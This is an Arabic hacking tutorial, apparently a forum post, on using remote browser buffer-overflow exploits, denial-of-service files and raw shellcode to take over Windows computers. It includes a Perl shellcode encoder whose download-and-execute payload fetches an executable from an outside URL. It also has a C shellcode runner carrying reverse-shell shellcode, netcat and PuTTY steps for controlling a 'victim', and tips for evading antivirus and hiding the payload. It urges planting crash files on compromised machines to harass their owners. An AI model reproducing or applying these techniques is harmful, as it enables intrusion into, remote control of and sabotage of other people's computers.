بسم الله الرحمن الرحيم
،
،
،
--[x01 : المقدمة]--
موضوعي اليوم يتحدث عن الثغرات الطفح و حجب الخدمة
وشرح طريقة الاختراق باستخدام الشيل كود والهدف من موضوعي
هوا تعلم طرق الاختراق الاحترافية
والاستغناء عن برامج الاختراق
--[x02:الثغرات]--
ثغرات الطفح (remote buffer) التي سأتحدث عنها اليوم هي التي
تسمح باختراق الأجهزة بملف HTML
عندما نسمع كلمة ثغرات نعتقد أنها شيء معقد
لكنها بسيطة جدا وما نحتاج إلا ان نجد ثغرة مناسبة
نذهب إلى موقع ميلورم
www.milw0rm.comوالثغرات التي سوف أتحدث عنها نجدها في قسم (remote)
وعلينا إيجاد ثغرة تكون في نظام الوندوز
أعطيكم شرح مبسط لطريقة عملها
نأخذ مثال على ثغرة
كود:
Program Checker (sasatl.dll 1.5.0.531)
DebugMsgLog Heap Spraying Exploitوهذا رابط الثغرة
http://milw0rm.com/exploits/4177سوف يفيد كثيراً إذا كنت تجيد اللغة الانجليزية
لأنها تختلف طريقة كتابة المعلومات من ثغرة لثغرة
كود:
sasatl.dll is a library included in the Program Checker
Pro software package from the Company Zenturi.
http://www.programchecker.comوتعني أن الثغرة توجد بملف sasatl.dll
وهذا الملف نجده في برنامج program checker
وموقع البرنامج
http://www.programchecker.comوالثغرة تشتغل فقط على من يستخدم البرنامج هذا
وتمت التجربة على
كود:
Tested In- Windows XP SP1/SP2 English/French with IE 6.0 / 7.0.
- Windows vista Professional English/French SP1 with IE 7.0وطريقة إستخدامها لتحميل السيرفر وتشغيله في جهاز الضحية هيا كالتالي :
في البداية ننسخ كود ال HTML الذي في أسفل الصفحة
ونلصقه بالمفكرة
ويوجد دائماً في الثغرات المشابهة لهذه الثغرة كود unescape
وهوا عبارة عن shellcode مشفر
وهذا شيل كود جاهز وطريقة تشفيره سهلة
لاحظ معي الأداة التالية
كود PHP:
$html = "FezO.txt";
$FeezO =
"\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03".
"\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74".
"\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E".
"\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03".
"\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C".
"\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40".
"\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C".
"\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC".
"\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F".
"\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB".
"\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83".
"\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF".
"\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF".
"http://3asfh.com/file.exe";
if ($ARGV[0] eq ''){
$Fz0 = $FeezO;$fez0 = $ARGV[1];$fez0 = "http://pan";
}
#citation to ****sploit
sub dongu {
my $FeeezO = shift;
my $Feeez0 = shift() || 'LE';
my $feeez0 = '';
my $idx = 0;
if (length($FeeezO) % 2 != 0) {
$data .= substr($FeeezO, -1, 1);
}
while ($idx < length($FeeezO) - 1) {
my $c1 = ord(substr($FeeezO, $idx, 1));
my $c2 = ord(substr($FeeezO, $idx+1, 1));
if ($Feeez0 eq 'LE') {
$feeez0 .= sprintf('%%u%.2x%.2x', $c2, $c1);
} else {
$feeez0 .= sprintf('%%u%.2x%.2x', $c1, $c2);
}
$idx += 2;
}
return $feeez0;
}
$Fez00 = dongu($Fz0);
#_
$body = <<BODY;
shellcode unescape("%u9090%u9090$Fez00");
BODY
print H $body;
print "
[========================================================================
[// FeezO shellcodes Encoder v1.0
[//
[// fez0\@hotmail.com
[//
[========================================================================
";
print "Encoded shellcode=\n\n unescape(\"%u9090%u9090$Fez00\") \n\nDone.. Have fune :p"
انسخ الكود بالكامل والصقه بالمفكرة
واستبدل الرابط الذي بداخله برابط السيرفر الخاص بك
(
بالطبع الاداة مكتوبة بالبيرل
وسوف تحتاج المترجم الخاص بها)
بعد استبدال الرابط نفتحها عن طريق موجة الأوامر
لآحظ الاداة اعطتنا الشيل كود جاهز
والآن نرجع إلى محور حديثنا .. الثغرة
ونستبدل الشيل كود
والآن نحفظ الصفحة بإمتداد HTML أو HTM
وأصبحت جاهز للإختراق
عند فتحها سوف يتحمل السيرفر في جهاز الضحية
،
،
،
نأخذ طرق آخرى لإستخدام الثغرات
هذه طريقة إستخدمنا فيها شيل كود Download and Execute
تحدثت سابقاً عن انواعها وطريقة الحصول عليها من موقع ميتاسبلويت
وتوجد طريقة اخرى وهيا عبر البرنامج ( برنامج ميتاسبلويت )
وهيا عن طريق كتابة الآوامر التالية
Show PAYLOADS
واكتب الأمر use وبعده اسم ال payload الذري تريد استخدامه
والآن أكتب show options
لتعبئة البيانات التي تريد استخدامها
لتعديل البيانات اكتب الآمر set
وبعد الانتهاء اكتب generate
وسوف ينتجلك الشيل كود
لكي نستخدمها في الثغرة السابقة يجب علينا تشفير الكود
بنفس الطريقة السابقة وبنفس الآداة
وهيا كالتالي
ننسخ الشيل كود
ونلصقه في الاداة
ونحفظ المستند بإمتداد pl مع تصحيح بعض الرموز عند الاستبدال
ونشغله عن طريق موجة الاوامر
[IMG][/IMG]
وسوف يأتينا الشيل كود مشفر
وننسخه ونستبدله بالكود المشفر الذي في الثغرة
وانتهينا
الخلاصة هيا :
عندما نستخدم ثغرة من الثغرات التي تسمح لنا الاختراق بملف html
يجب علينا في البداية صنع شيل كود ومن ثم تشفيره
وبعدها استبداله بالشيل كود الموجود بالثغرة ولكن توجد ثغرات
لا تحتاج إلى تشفير ولكن استبدال الشيل كود مباشرة
,
وتوجد ثغرات كثيره تنزل يومياً في مواقع الحماية
لكن يجب علينا ان نبحث عن ثغرة في برنامج مشهور ويكثر استخدامه
مثل ثغرات المتصفح
،
،
،
،
نأتي الآن لثغرات حجب الخدمة (denial of service)
الثغرات هذه لا تسمح باختراق الجهاز
فقط تقوم ب ( تعليقه )
وهيا سهلة ولا تحتاج أي تعب أو خبرة
وهيا تكون عبر ارسال ملف ولا يجب ان يكون exe
وسوف يسبب تعليق في جهاز المرسل اليه
وتوجد ملفات تعلق الجهاز عند فتحها
وبعضها لا تحتاج إلى فتح
أكمل القراءة أن لم تفهم ما أقصده
من موقع ميلورم إذهب إلى (dos/poc)
والثغرات كثيرة وأكثرها تقوم بنفس العمل
ولكن اختلافها يكون في نوع الملف المصاب
ونأخذ مثال على هذه ثغرة Ms Windows GDI+ICO File
وهذا رابطها
http://milw0rm.com/exploits/4044إفتح الرابط الذي في الثغرة
وحمل الملف ولكن لا تفتح ضغط عنه
فقط اسحبه إلى مجلد فارغ
ولآحظ ماذا يحدث عند فتح هذا المجلد
( بطئ في الجهاز ويتسبب في غلق المجلد)
هذا يعني عندما تخترق جهاز احدهم
ضع هذا الملف في جميع مجلداته
،
وسوف تسبب له إزعاج شديد
،
،
،
--[x03:اختراق الأجهزة باستخدام ال Shellcodes ]--
لن أدخل في مقدمات عن إستخدامها
تحدث في القسم الأول في الموضوع عن استخدام ال shellcodes
في الثغرات
لكنا دعنا نتحدث عن طريقة استخدامها مباشرة
دون اللجوء إلى ثغرة
بمعنى أن نقوم بتحويلها إلى ملف exe
ويتم ارسالها إلى الضحية وإختراق جهازه
و برامج الحماية مثل الكاسبر لا تكشفها
وتحدثت في القسم الاول في الموضوع لطريقة استخدام الثغرة لتحميل ملف وتشغيله في جهاز الضحية
إذاً لو حولنا هذا ال shellcode مباشرة إلى ملف exe
سوف يصبح عندنا (داونلودر) مشفر ...
وهكذا على حسب نوع ال shellcode الذي نقوم بتحويله
،
،
إن لم تكن تفهم ماذا يعني ال shellcode
تابع القراءة وسوف تفهم
،
،
في البداية إذهب إلى هذا الموقع
http://****sploit.com:55555/PAYLOADS(ملاحظة ضع كلمه m e t a مكان النجوم)
واختر windows reverse shell
Reverse = تعني اتصال عكسي
ومثل برامج الاتصال العكسي
اكتب الاي بي الخاص بك
والمنفذ
وإظغط على Generate
والآن انسخ الشيل كود مثل الصورة التي بالأسفل
وإفتح المفكرة
واكتب فيها الكود الذي بالأسفل
كود:
#include <stdio.h>
char shellcode[]=
"\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf3"
"\x75\x47\x94\x83\xeb\xfc\xe2\xf4\x0f\x9d\x03\x94\xf3\x75\xcc\xd1"
"\xcf\xfe\x3b\x91\x8b\x74\xa8\x1f\xbc\x6d\xcc\xcb\xd3\x74\xac\xdd"
"\x78\x41\xcc\x95\x1d\x44\x87\x0d\x5f\xf1\x87\xe0\xf4\xb4\x8d\x99"
"\xf2\xb7\xac\x60\xc8\x21\x63\x90\x86\x90\xcc\xcb\xd7\x74\xac\xf2"
"\x78\x79\x0c\x1f\xac\x69\x46\x7f\x78\x69\xcc\x95\x18\xfc\x1b\xb0"
"\xf7\xb6\x76\x54\x97\xfe\x07\xa4\x76\xb5\x3f\x98\x78\x35\x4b\x1f"
"\x83\x69\xea\x1f\x9b\x7d\xac\x9d\x78\xf5\xf7\x94\xf3\x75\xcc\xfc"
"\xcf\x2a\x76\x62\x93\x23\xce\x6c\x70\xb5\x3c\xc4\x9b\x85\xcd\x90"
"\xac\x1d\xdf\x6a\x79\x7b\x10\x6b\x14\x16\x26\xf8\x90\x5b\x22\xec"
"\x96\x75\x47\x94";
main()
{
void (*routine) ();
(long) routine = &shellcode;
routine();
}واستبدل فيها ال shellcode الخاص بك
وإحفظها بإمتداد c
بالطبع نحتاج إلى مترجم لتحويل الملف إلى exe
وتوجد مترجمات كثيرة
لكن لن اتحدث عنها لأنها ليست محور حديثنا
،
،
بعد تحويل الملف إلى exe
إرسله إلى الضحية
،
،
والآن نتنصت بإستخدام أداة النت كات
(الاداة تأتي مع برنامج ميتاسبلويت)
أو يمكن تحميلها بشكل منفصل من الرابط التالي
http://www.vulnwatch.org/netcat/nc111nt.zipنتنصت بالنت كات ... بإستخدام الأمر التالي
كود:
-l –n –v –p port
بالطبع نكتب نفس البورت الذي كتبناه في البداية عند انشاء الشيل كود
والآن ارسل الشيل كود للضحية
وعندما يفتحه سوف يتصل مع النت كات
وتستطيع الآن تصفح ملفات الضحية
،
،
،
والآن الاختراق ب الاتصال المباشر
،
،
في البداية اذهب الى موقع ميتاسبلويت
http://****sploit.com:55555/PAYLOADSواختر windows bind shell
واكتب المنفذ الذي تريد فتحه في جهاز الضحية
واضغط على Generate
وننسخ الشيل كود ونضعه في الكود السابق
ونحفظها بامتداد c
ونترجمها إلى ملف exe
والآن نرسل الشيل كود للضحية
ونتصل بجهازه بإداة putty
( الأداة هذه مرفقة مع برنامج ميتاسبلويت)
وتستطيع تحميلها بشكل منصل من الرابط ادناه
http://the.earth.li/~sgtatham/putty/.../x86/putty.exeشرح الآداة ...
Host name (or ip address) =آي بي الضحية
Port= لمنفذ المفتوح بجهاز الضحية
وضع النقطة على Raw
واضغط على open
وسوف تفتح لك شاشة الأوامر متصلة بجهاز الضحية
وتستطيع من برنامج النت كات الاتصال بجهاز الضحية
وتكون عبر الأمر التالي
كود:
-v -n ip port،
،
،
أما بالنسبة لإستخدام ال Download And Execute
فهيا بسيطة جداً
في البداية إذهب إلى الرابط أدناه
http://****sploit.com:55555/PAYLOADS...64%65%78%65%63وفي مربع DATA
اكتب رابط السيرفر الخاص بك
وافعل كما شرحت أعلاه
،
،
،
ملاحظات بسيطه
تستطيع بعد عمل الshellcode ان تضغطه ببرامج الضغط مثل ال upx
والأفضل أن تدمجه مع ملف exe آخر عن طريق أداة iexpress
في الوندوز
وجعل الshellcode لا يظهر عند التشغيل
لأنه عند تشغيله تأتي شاشة الدوس السوداء وهيا الطريقة الافضل للتخلص منها
--[x04:الخاتمة]--
أتمنى أن يكون الشرح واضح
والرجاء من عنده سؤال أو استفسار يسأل في الموضوع
zx7@hotmail.co.uk